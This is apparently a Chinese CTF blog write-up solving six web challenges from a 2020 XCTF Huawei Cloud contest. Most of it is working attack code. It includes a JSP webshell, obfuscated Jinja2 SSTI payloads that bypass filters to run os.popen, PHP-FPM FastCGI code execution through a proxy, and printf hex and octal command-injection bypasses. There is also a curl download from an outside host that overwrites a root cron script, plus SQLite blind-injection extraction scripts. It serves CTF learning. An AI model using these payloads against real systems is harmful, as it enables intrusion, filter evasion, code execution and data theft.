follow my dream

xctf高校网络安全挑战赛-华为云专场

字数统计: 2.1k阅读时长: 12 min
2020/12/21 Share

image-20201221165235667

web

和队友打得快乐一批😁😁,@3rsh1,@iluem

WEBSHELL_1

上传webshell,waf好像不然你进行交互,那就直接命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page import="java.io.*" %>
<%
String cmd = "cat /flag";
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>

<!-- http://michaeldaw.org 2006 -->

MINE_1

利用request.cookies.x1,request的其他三个被过滤了。

payload:

1
2
3
4
5
6
7
8
9
10
GET /success?msg={{()|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)()|attr(request.cookies.	x4)(77)|attr(request.cookies.x5)|attr(request.cookies.x6)|attr(request.cookies.x4)(request.cookies.x7)|attr(request.cookies.x4)(request.cookies.x8)(request.cookies.x9)}} HTTP/1.1
Host: 124.71.133.116:31002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__;x5=__init__;x6=__globals__;x7=__builtins__;x8=eval;x9=__import__("os").popen('cat flag.txt').read()
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

MINE_2

python 这方面还是太薄弱了

payload:

1
2
3
4
5
?{% print(session|attr("__init__"))|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("open(\"/flag.txt\").read()")%}

# 将""内的字符串换成格式化字符串的形式

http://124.70.199.12:30195/success?msg={%print(session|attr("%c"%(95)%2b"%c"%(95)%2b"%c"%(105)%2b"%c"%(110)%2b"%c"%(105)%2b"%c"%(116)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(95)%2b"%c"%(95)%2b"%c"%(103)%2b"%c"%(108)%2b"%c"%(111)%2b"%c"%(98)%2b"%c"%(97)%2b"%c"%(108)%2b"%c"%(115)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(103)%2b"%c"%(101)%2b"%c"%(116))("%c"%(95)%2b"%c"%(95)%2b"%c"%(98)%2b"%c"%(117)%2b"%c"%(105)%2b"%c"%(108)%2b"%c"%(116)%2b"%c"%(105)%2b"%c"%(110)%2b"%c"%(115)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(103)%2b"%c"%(101)%2b"%c"%(116))("%c"%(101)%2b"%c"%(118)%2b"%c"%(97)%2b"%c"%(108))("%c"%(111)%2b"%c"%(112)%2b"%c"%(101)%2b"%c"%(110)%2b"%c"%(40)%2b"%c"%(39)%2b"%c"%(102)%2b"%c"%(108)%2b"%c"%(97)%2b"%c"%(103)%2b"%c"%(46)%2b"%c"%(116)%2b"%c"%(120)%2b"%c"%(116)%2b"%c"%(39)%2b"%c"%(41)%2b"%c"%(46)%2b"%c"%(114)%2b"%c"%(101)%2b"%c"%(97)%2b"%c"%(100)%2b"%c"%(40)%2b"%c"%(41)))%}

CLOUD

/admin进行爆破,得到账号 admin:admin

20201221083301

根据tools.zip和观察/wsproxy,有个代理服务

编译或直接都可

1
go build # 得到shadowclient

代理

1
./shadowclient -c beegosessionID=8082b027576b238cd4cc1a79798fb2fe -l 127.0.0.1:1090  -o http://124.71.133.116/ -p UAF -r ws://124.71.133.116:32685/wsproxy

访问 phpinfo.php,可以发现之前有师傅访问php-fpm(很久之后,才意识到。。。。,亏我还用nmap扫)

配置 proxychains

1
socks5 127.0.0.1 1090 # add

本来打算用gopher,但发现curl一直报错,这里直接用了P神的脚本,改一下 socket.timeout(因人而异,看网络环境?)

Fastcgi PHP-FPM Client && Code Execution (github.com)

1
2
3
4
5
6
7
8
9
10
def __init__(self, host, port, timeout, keepalive):# 69行
self.host = host
self.port = port
self.timeout = 5000
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

同时在phpinfo得知该php文件地址为/usr/share/nginx/html//phpinfo.php

最后的payload

1
proxychains python p.py 127.0.0.1 /usr/share/nginx/html//phpinfo.php -c "<?php system('cat /flag1.txt')?>"

image-20201221084658558

HIDS

学到了,在bash中 printf可以配合十六进制进行命令执行

而在dash中,printf可以配合8进制进行命令执行。

  • bash
1
2
> $(printf "\x63\x61\x74\x20\x77\x65\x62\x2f\x61\x70\x70\x2e\x70\x79")
cat: web/app.py: No such file or directory
1
2
3
4
5
6
a = 'ls /dev'
exp = ''
for i in a:
z = str(hex(ord(i))).replace('0x','\\')
exp += z
print(exp)
  • dash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a = 'ls /dev'
#
exp = ''
for i in a:
z = str(oct(ord(i))).replace('0o','\\')
exp += z
print(exp)

import requests

url = 'http://124.70.199.12:30586/run'

data = {
'cmd':'env'
}

exp = '$(printf$IFS$1"{}")'.format(exp)

data['cmd'] = exp
r = requests.post(url=url, data=data,proxies={'http':'127.0.0.1:8080'})
print(r.text)
  • /etc/crontab
1
2
*/1 * * * * root /usr/local/bin/python3.8 /detect.py
*/1 * * * * ctf nohup /usr/local/bin/python3.8 /home/ctf/web/app.py &

其中/detect.py可写

  • app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask

from flask import render_template,request

import subprocess,re

app = Flask(__name__)



@app.route('/',methods=['GET'])

def index():

return render_template('index.html')



@app.route('/run',methods=['POST'])

def run():

cmd = request.form.get("cmd")

p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)

try:

(msg, errs) = p.communicate(timeout=5000)

return msg

except Exception as e:

return 'Error!'



app.run(host='0.0.0.0',port='5000')
  • 修改 /detect.py
1
curl http://121.36.37.97:8080/1.py --output /detect.py
  • 1.py
1
2
3
import os
os.system('cat /flag >/tmp/flag')
os.system('cat /flag >/home/ctf/web/templates/fe1w0')

等待一秒后,查看cat /tmp/flag

image-20201221103116544

也可以试试 kill 18738;sed -i 's/timeout=5000/timeout=99999/' /home/ctf/web/app.py,这样的思路

PYER[复现]

在最后一个小时内,只过了第一关

扫描路径发现只有一个地址login

通过以下sql语句,个人判断为sqlite

1
username=' and  1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end) -- &password=admin&submit=%E7%99%BB%E9%99%86

因为返回页面显示的是认证失败的,而不是sql语句执行失败的

20201221085645

再手动注入,猜测select password from user where username = '%s' and password = '%s' ,同时后端对password是直接验证,没有加密存储.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login HTTP/1.1
Host: 121.37.160.91:32131
Content-Length: 61
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Origin: http://121.37.160.91:32131
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://121.37.160.91:32131/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

username='union select "password" -- -&password=password&submit=%E7%99%BB%E9%99%86

image-20201221085035188

之后,在admin发现有一个可能存在注入的点username,但后面平台关了..😔(后面又开了)

20201221085837

利用脚本来获得password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
url = "http://124.70.199.12:32198/login"
data ={
'username':None,
'password':'admin'
}
result = ""
i = 0
while( True ):
i = i + 1
head=32
tail=127
rlen=len(result)
while( head < tail ):
mid = (head + tail) >> 1
data_payload="select group_concat(password) from users"
#' union select "admin" from users where username="admin" and substr(({data_payload}),{1},1) > '{2}' -- -
payload="' union select \"admin\" from users where username=\"admin\" and (substr(({0}),{1},1) > '{2}') -- -".format(data_payload,i,chr(mid))
data['username'] = payload
r = requests.post(url,data=data,allow_redirects=False)
#print(r.status_code)
if 'Redirecting' in r.text:
head = mid + 1
elif "login error" in r.text:
tail = mid
else:
print ("error")
time.sleep(0.1)
if head!=32:
result += chr(head)
print(result)
else:
break
print(result)
#password: sqlite_not_safe
  • ssti

之后在admin页面可以ssti,

image-20201221111231119

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin HTTP/1.1
Host: 124.70.199.12:32198
Content-Length: 147
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.199.12:32198
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.70.199.12:32198/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.X-ANfg.5X6Ydd8EN8ENsj3UdXbFUi_Z3UE
Connection: close

username=' union select "{{session.__init__.__globals__['__builtins__']['eval']('open(\'/app/flag.txt\').read()')}}" -- -&submit=%E7%99%BB%E9%99%86
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin HTTP/1.1
Host: 124.70.199.12:32198
Content-Length: 202
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.199.12:32198
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.70.199.12:32198/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.X-ANfg.5X6Ydd8EN8ENsj3UdXbFUi_Z3UE
Connection: close

username=' union select "{{{}.__class__.__mro__[1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__'].__import__('os').popen('cat flag.txt').read()}}" -- -&submit=%E7%99%BB%E9%99%86
CATALOG
  1. 1. web
    1. 1.1. WEBSHELL_1
    2. 1.2. MINE_1
    3. 1.3. MINE_2
    4. 1.4. CLOUD
    5. 1.5. HIDS
    6. 1.6. PYER[复现]